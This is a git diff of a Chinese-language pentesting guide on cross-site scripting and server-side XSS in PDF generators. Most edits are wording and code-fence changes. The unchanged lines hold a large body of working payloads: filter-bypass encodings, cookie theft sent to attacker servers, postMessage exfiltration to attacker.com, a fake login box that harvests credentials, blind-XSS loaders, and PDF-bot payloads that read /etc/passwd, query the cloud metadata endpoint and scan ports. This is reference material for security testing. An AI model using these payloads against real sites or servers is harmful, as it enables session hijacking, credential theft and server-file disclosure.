**通过HTML编码/URL编码绕过事件**
|
||||
@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
**可以注入这些协议的地方**
|
||||
|
||||
**一般来说** `javascript:` 协议可以 **用于任何接受 `href` 属性的标签**，以及 **大多数** 接受 **`src` 属性的标签**（但不包括 `<img>`）
|
||||
```markup
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
<form action="javascript:alert(1)"><button>send</button></form>
|
||||
@ -357,7 +357,7 @@ _**在这种情况下，上一节中的HTML编码和Unicode编码技巧也是有
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
注意，如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将不起作用**，但你可以在 **payload** 内部 **混合它们**。
|
||||
注意，如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将不会** **工作**，但你可以在 **payload** 中 **混合使用它们**。
|
||||
|
||||
**使用 Hex 和 Octal 编码与 `javascript:`**
|
||||
|
||||
@ -373,7 +373,7 @@ _**在这种情况下，上一节中的HTML编码和Unicode编码技巧也是有
|
||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### 反向标签劫持
|
||||
### 反向标签窃取
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
@ -422,15 +422,15 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields)：您可以在**隐藏属性**中执行**XSS有效负载**，前提是您能够**说服****受害者**按下**键组合**。在Firefox Windows/Linux上，键组合是**ALT+SHIFT+X**，在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。这里是向量：
|
||||
```markup
|
||||
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields)：您可以在隐藏属性中执行**XSS有效负载**，前提是您可以**说服****受害者**按下**键组合**。在Firefox Windows/Linux上，键组合是**ALT+SHIFT+X**，在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。这里是向量：
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**XSS有效载荷将类似于：`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### 黑名单绕过
|
||||
|
||||
本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的地方：**
|
||||
本节中已经揭示了几种使用不同编码的技巧。请**返回以了解您可以在哪里使用：**
|
||||
|
||||
- **HTML编码（HTML标签）**
|
||||
- **Unicode编码（可以是有效的JS代码）：** `\u0061lert(1)`
|
||||
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### CSS小工具
|
||||
|
||||
如果您在网络的**非常小的部分**发现了**XSS**，并且需要某种交互（也许是页脚中的一个小链接，带有onmouseover元素），您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
|
||||
如果您在网页的**非常小的部分**发现了**XSS**，并且需要某种交互（可能是页脚中的一个小链接，带有onmouseover元素），您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
|
||||
|
||||
例如，您可以在元素中添加一些样式，如：`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## 在JavaScript代码中注入
|
||||
|
||||
在这些情况下，您的**输入**将**反映在.js文件的JS代码**中，或在`<script>...</script>`标签之间，或在可以执行JS代码的HTML事件之间，或在接受`javascript:`协议的属性之间。
|
||||
在这种情况下，您的**输入**将**反映在`.js`文件的JS代码**中，或在`<script>...</script>`标签之间，或在可以执行JS代码的HTML事件之间，或在接受`javascript:`协议的属性之间。
|
||||
|
||||
### 转义\<script>标签
|
||||
|
||||
@ -476,9 +476,9 @@ onbeforetoggle="alert(2)" />
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
注意，在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**，这涉及到识别页面元素，包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本是在之后进行的。
|
||||
注意，在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**，这涉及到识别页面元素，包括脚本块。对 JavaScript 的解析以理解和执行嵌入的脚本仅在之后进行。
|
||||
|
||||
### 在 JS 代码内部
|
||||
### Inside JS code
|
||||
|
||||
如果 `<>` 被清理，你仍然可以**转义字符串**，在你的输入**所在的位置**并**执行任意 JS**。修复 JS 语法是很重要的，因为如果有任何错误，JS 代码将不会被执行：
|
||||
```
|
||||
@ -496,15 +496,15 @@ onbeforetoggle="alert(2)" />
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
|
||||
```````````````javascript
|
||||
```javascript
|
||||
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
||||
function loop() {
|
||||
return loop
|
||||
}
|
||||
loop``````````````
|
||||
```````````````
|
||||
loop``
|
||||
```
|
||||
### 编码代码执行
|
||||
```markup
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
@ -549,7 +549,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**在JS代码中的空格替换**
|
||||
**在JS代码中的空格替代**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
@ -599,7 +599,7 @@ console.log(log)
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
**没有括号的JavaScript**
|
||||
````javascript
|
||||
```javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
||||
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
|
||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
````
|
||||
```
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**任意函数（alert）调用**
|
||||
````javascript
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
setTimeout('ale'+'rt(2)');
|
||||
@ -735,17 +735,17 @@ top['al\145rt'](1)
|
||||
top['al\x65rt'](1)
|
||||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
```
|
||||
## **DOM 漏洞**
|
||||
|
||||
有 **JS 代码** 使用 **由攻击者控制的不安全数据**，如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
|
||||
**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:**
|
||||
有 **JS 代码** 使用了 **由攻击者控制的不安全数据**，如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
|
||||
**由于对** [**DOM 漏洞的解释扩展，已移至此页面**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
在这里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
|
||||
在那里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
|
||||
此外，不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
|
||||
|
||||
### 升级 Self-XSS
|
||||
@ -758,15 +758,15 @@ dom-xss.md
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用示例。
|
||||
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对这一技术的极佳利用。
|
||||
|
||||
### 将你的会话发送给管理员
|
||||
|
||||
也许用户可以与管理员共享他的个人资料，如果自我 XSS 在用户的个人资料中，而管理员访问了它，他将触发该漏洞。
|
||||
也许用户可以与管理员共享他的个人资料，如果自我 XSS 在用户的个人资料中，而管理员访问了该资料，他将触发该漏洞。
|
||||
|
||||
### 会话镜像
|
||||
|
||||
如果你发现一些自我 XSS，并且网页有 **管理员的会话镜像**，例如允许客户请求帮助，为了帮助你，管理员将看到你在你的会话中看到的内容，但从他的会话中。
|
||||
如果你发现一些自我 XSS，并且网页有 **管理员的会话镜像**，例如允许客户请求帮助，为了帮助你，管理员将看到你在自己的会话中看到的内容，但从他的会话中。
|
||||
|
||||
你可以让 **管理员触发你的自我 XSS** 并窃取他的 cookies/会话。
|
||||
|
||||
@ -774,7 +774,7 @@ dom-xss.md
|
||||
|
||||
### 规范化 Unicode
|
||||
|
||||
你可以检查 **反射值** 是否在服务器（或客户端）中 **进行 Unicode 规范化**，并利用此功能绕过保护。 [**在这里找到一个示例**](../unicode-injection/index.html#xss-cross-site-scripting)。
|
||||
你可以检查 **反射值** 是否在服务器（或客户端）中 **进行 Unicode 规范化**，并利用此功能绕过保护。 [**在这里找到一个例子**](../unicode-injection/index.html#xss-cross-site-scripting)。
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL 标志绕过
|
||||
```javascript
|
||||
@ -794,7 +794,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
然后，将插入 onfocus 属性，并发生 XSS。
|
||||
|
||||
### 特殊组合
|
||||
```markup
|
||||
```html
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
<svg onload=alert(1)//
|
||||
@ -823,24 +823,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS与302响应中的头注入
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
如果你发现可以**在302重定向响应中注入头部**，你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**，因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体，因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
如果你发现可以在 **302 重定向响应中注入头部**，你可以尝试 **让浏览器执行任意 JavaScript**。这 **并不简单**，因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体，因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
|
||||
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中，你可以阅读如何测试Location头中的几种协议，并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
||||
已知的过去协议：`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。
|
||||
在 [**这份报告**](https://www.gremwell.com/firefox-xss-302) 和 [**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中，你可以阅读如何在 Location 头部测试多个协议，并查看其中是否有任何协议允许浏览器检查并执行体内的 XSS 有效载荷。\
|
||||
已知的过去协议： `mailto://`， `//x:1/`， `ws://`， `wss://`， _空 Location 头部_， `resource://`。
|
||||
|
||||
### 仅限字母、数字和点
|
||||
|
||||
如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。
|
||||
如果你能够指示 JavaScript 将要 **执行** 的 **回调** 限制在这些字符内。 [**阅读这篇文章的这一部分**](#javascript-function) 以了解如何利用这种行为。
|
||||
|
||||
### 有效的`<script>`内容类型以进行XSS
|
||||
### 有效的 `<script>` 内容类型以进行 XSS
|
||||
|
||||
（来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)）如果你尝试加载一个**内容类型**为`application/octet-stream`的脚本，Chrome将抛出以下错误：
|
||||
（来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)）如果你尝试加载一个 **内容类型** 为 `application/octet-stream` 的脚本，Chrome 将抛出以下错误：
|
||||
|
||||
> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本，因为其MIME类型（‘application/octet-stream’）不可执行，并且启用了严格的MIME类型检查。
|
||||
> 拒绝从 ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') 执行脚本，因为其 MIME 类型 (‘application/octet-stream’) 不是可执行的，并且启用了严格的 MIME 类型检查。
|
||||
|
||||
唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中常量**`kSupportedJavascriptTypes`**内的类型。
|
||||
唯一支持 Chrome 运行 **加载脚本** 的 **Content-Type** 是 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) 中常量 **`kSupportedJavascriptTypes`** 内的类型。
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -896,7 +896,7 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来重新映射一个库到 eval，以利用它触发 XSS。
|
||||
这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来重新映射一个库到 eval，以滥用它可以触发 XSS。
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理如下：
|
||||
```html
|
||||
@ -923,7 +923,7 @@ import { partition } from "lodash"
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? 不在列表中，但我认为我在 CTF 中见过这个)
|
||||
- text/plain (?? 不在列表中，但我想我在 CTF 中见过这个)
|
||||
- application/rss+xml (关闭)
|
||||
- application/atom+xml (关闭)
|
||||
|
||||
@ -931,7 +931,7 @@ import { partition } from "lodash"
|
||||
|
||||
### xml Content Type
|
||||
|
||||
如果页面返回 text/xml 内容类型，可以指示一个命名空间并执行任意 JS：
|
||||
如果页面返回的是 text/xml 内容类型，可以指示一个命名空间并执行任意 JS：
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -993,13 +993,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- 间接访问 `require`
|
||||
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内，如下所示：
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包裹在一个函数中，如下所示：
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
因此，如果我们可以从该模块**调用另一个函数**，则可以从该函数使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**：
|
||||
因此，如果我们可以从该模块**调用另一个函数**，则可以使用 `arguments.callee.caller.arguments[1]` 从该函数访问 **`require`**：
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1244,7 +1244,7 @@ steal-info-js.md
|
||||
../iframe-traps.md
|
||||
{{#endref}}
|
||||
|
||||
### 获取 Cookies
|
||||
### 检索 Cookies
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
@ -1267,7 +1267,7 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> 如果在 cookie 中设置了 HTTPOnly 标志，您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运，这里有 [一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。
|
||||
> 如果在 cookie 中设置了 HTTPOnly 标志，您 **将无法通过 JavaScript 访问 cookies**。但在这里，如果您足够幸运，您可以 [找到一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。
|
||||
|
||||
### 偷取页面内容
|
||||
```javascript
|
||||
@ -1363,7 +1363,7 @@ _短时间表示端口响应_ _较长时间表示没有响应。_
|
||||
查看 Chrome 中禁止的端口列表 [**这里**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) 和 Firefox 中的 [**这里**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。
|
||||
|
||||
### 询问凭据的框
|
||||
```markup
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### 自动填充密码捕获
|
||||
@ -1404,7 +1404,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
</script>
|
||||
```
|
||||
### 偷窃 PostMessage 消息
|
||||
```markup
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
window.onmessage = function(e){
|
||||
@ -1417,7 +1417,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||
abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### 访问影子DOM
|
||||
### 访问 Shadow DOM
|
||||
|
||||
{{#ref}}
|
||||
shadow-dom.md
|
||||
@ -1429,10 +1429,10 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### 盲XSS有效载荷
|
||||
### 盲 XSS 有效载荷
|
||||
|
||||
您还可以使用: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
||||
@ -1512,19 +1512,19 @@ xss-in-markdown.md
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
利用它来绕过 cookie 限制、XSS 过滤器等更多内容！\
|
||||
利用它来绕过 cookie 限制、XSS 过滤器等更多！\
|
||||
有关此技术的更多信息，请查看：[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
|
||||
|
||||
### 动态创建 PDF 中的 XSS
|
||||
|
||||
如果网页使用用户控制的输入创建 PDF，您可以尝试 **欺骗创建 PDF 的机器人** 使其 **执行任意 JS 代码**。\
|
||||
因此，如果 **PDF 创建机器人发现** 某种 **HTML** **标签**，它将会 **解释** 这些标签，您可以 **利用** 这种行为导致 **服务器 XSS**。
|
||||
如果网页使用用户控制的输入创建 PDF，您可以尝试 **欺骗创建 PDF 的机器人**，使其 **执行任意 JS 代码**。\
|
||||
因此，如果 **PDF 创建机器人发现**某种 **HTML** **标签**，它将会 **解释**这些标签，您可以 **利用**这种行为导致 **服务器 XSS**。
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
如果您无法注入 HTML 标签，尝试 **注入 PDF 数据** 可能是值得的：
|
||||
如果您无法注入 HTML 标签，尝试 **注入 PDF 数据**可能是值得的：
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
@ -1541,7 +1541,7 @@ AMP 旨在加速移动设备上的网页性能，结合了 HTML 标签和 JavaSc
|
||||
### XSS 上传文件 (svg)
|
||||
|
||||
将以下文件作为图像上传（来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)）：
|
||||
```markup
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
-----------------------------232181429808
|
||||
@ -1559,13 +1559,13 @@ alert(1);
|
||||
-----------------------------232181429808--
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
<script type="text/javascript">alert("XSS")</script>
|
||||
</svg>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
|
||||
@ -4,24 +4,24 @@
|
||||
|
||||
## 服务器端 XSS（动态 PDF）
|
||||
|
||||
如果一个网页使用用户控制的输入创建 PDF，你可以尝试**欺骗创建 PDF 的机器人**使其**执行任意 JS 代码**。\
|
||||
如果一个网页使用用户控制的输入创建 PDF，你可以尝试**欺骗创建 PDF 的机器人**来**执行任意 JS 代码**。\
|
||||
因此，如果**PDF 创建机器人发现**某种**HTML** **标签**，它将会**解释**这些标签，你可以**利用**这种行为导致**服务器 XSS**。
|
||||
|
||||
请注意，`<script></script>` 标签并不总是有效，因此你需要使用不同的方法来执行 JS（例如，利用 `<img`）。\
|
||||
另外，请注意，在常规利用中，你将**能够查看/下载创建的 PDF**，因此你将能够看到你**通过 JS 写入的所有内容**（例如使用 `document.write()`）。但是，如果你**无法查看**创建的 PDF，你可能需要**通过向你发起网络请求来提取信息**（盲注）。
|
||||
另外，请注意，在常规利用中，你将**能够查看/下载创建的 PDF**，因此你将能够看到你**通过 JS 写入的所有内容**（例如使用 `document.write()`）。但是，如果你**无法看到**创建的 PDF，你可能需要**通过向你发起网络请求来提取信息**（盲注）。
|
||||
|
||||
### 常见 PDF 生成
|
||||
|
||||
- **wkhtmltopdf** 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名，利用 WebKit 渲染引擎。该工具作为开源命令行实用程序可用，使其适用于广泛的应用。
|
||||
- **TCPDF** 在 PHP 生态系统中提供了强大的 PDF 生成解决方案。它能够处理图像、图形和加密，展示了其创建复杂文档的多功能性。
|
||||
- 对于在 Node.js 环境中工作的开发者，**PDFKit** 提供了一个可行的选择。它允许直接从 HTML 和 CSS 生成 PDF 文档，为网页内容和可打印格式之间提供了桥梁。
|
||||
- Java 开发者可能更喜欢 **iText**，这是一个不仅促进 PDF 创建，还支持数字签名和表单填写等高级功能的库。其全面的功能集使其适合生成安全和互动的文档。
|
||||
- Java 开发者可能更喜欢 **iText**，这是一个不仅促进 PDF 创建的库，还支持数字签名和表单填写等高级功能。其全面的功能集使其适合生成安全和互动的文档。
|
||||
- **FPDF** 是另一个 PHP 库，以其简单性和易用性而著称。它旨在为寻求简单 PDF 生成方法的开发者设计，无需复杂的功能。
|
||||
|
||||
## Payloads
|
||||
|
||||
### 发现
|
||||
```markup
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
@ -36,7 +36,7 @@
|
||||
### SVG
|
||||
|
||||
任何之前或以下的有效负载都可以在此 SVG 有效负载中使用。一个 iframe 访问 Burpcollab 子域，另一个访问元数据端点作为示例。
|
||||
```markup
|
||||
```html
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
<foreignObject width="800" height="500">
|
||||
@ -60,10 +60,10 @@ alert(1);
|
||||
</script>
|
||||
</svg>
|
||||
```
|
||||
您可以在 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 找到许多 **其他 SVG 载荷**。
|
||||
您可以在 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 找到许多 **其他 SVG 有效载荷**。
|
||||
|
||||
### 路径泄露
|
||||
```markup
|
||||
```html
|
||||
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
||||
if not, you will at least have wich path the bot is accessing -->
|
||||
<img src="x" onerror="document.write(window.location)" />
|
||||
@ -71,8 +71,8 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
```
|
||||
### 加载外部脚本
|
||||
|
||||
利用此漏洞的最佳方法是利用该漏洞使机器人加载您本地控制的脚本。然后，您将能够在本地更改有效负载，并使机器人每次都加载相同的代码。
|
||||
```markup
|
||||
利用此漏洞的最佳方式是利用该漏洞使机器人加载您本地控制的脚本。然后，您将能够在本地更改有效负载，并使机器人每次都加载相同的代码。
|
||||
```html
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
```
|
||||
@ -82,7 +82,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
> 将 `file:///etc/passwd` 更改为 `http://169.254.169.254/latest/user-data` 例如 **尝试访问外部网页 (SSRF)**。
|
||||
>
|
||||
> 如果允许 SSRF，但您 **无法访问** 有趣的域或 IP，请 [查看此页面以获取潜在的绕过方法](../ssrf-server-side-request-forgery/url-format-bypass.md)。
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
x.onload=function(){document.write(btoa(this.responseText))};
|
||||
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
xhzeem = new XMLHttpRequest();
|
||||
xhzeem.onload = function(){document.write(this.responseText);}
|
||||
@ -100,7 +100,7 @@ xhzeem.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<iframe src=file:///etc/passwd></iframe>
|
||||
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
||||
<link rel=attachment href="file:///root/secret.txt">
|
||||
@ -112,11 +112,11 @@ xhzeem.send();
|
||||
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||||
```
|
||||
### 机器人延迟
|
||||
```markup
|
||||
```html
|
||||
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||||
<script>
|
||||
let time = 500;
|
||||
@ -129,7 +129,7 @@ time += 500;
|
||||
<img src="https://attacker.com/delay">
|
||||
```
|
||||
### 端口扫描
|
||||
```markup
|
||||
```html
|
||||
<!--Scan local port and receive a ping indicating which ones are found-->
|
||||
<script>
|
||||
const checkPort = (port) => {
|
||||
@ -152,7 +152,7 @@ checkPort(i);
|
||||
### Attachments: PD4ML
|
||||
|
||||
有一些 HTML 2 PDF 引擎允许 **为 PDF 指定附件**，例如 **PD4ML**。你可以利用这个功能 **将任何本地文件附加到 PDF**。\
|
||||
为了打开附件，我用 **Firefox 打开文件并双击回形针符号**以 **将附件存储为新文件**。\
|
||||
为了打开附件，我使用 **Firefox 打开文件并双击回形针符号**以 **将附件存储为新文件**。\
|
||||
使用 burp 捕获 **PDF 响应**也应该 **在 PDF 中以明文显示附件**。
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
@ -163,7 +163,7 @@ description="attachment sample"
|
||||
icon="Paperclip" />
|
||||
</html>
|
||||
```
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
||||
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||||
|
||||
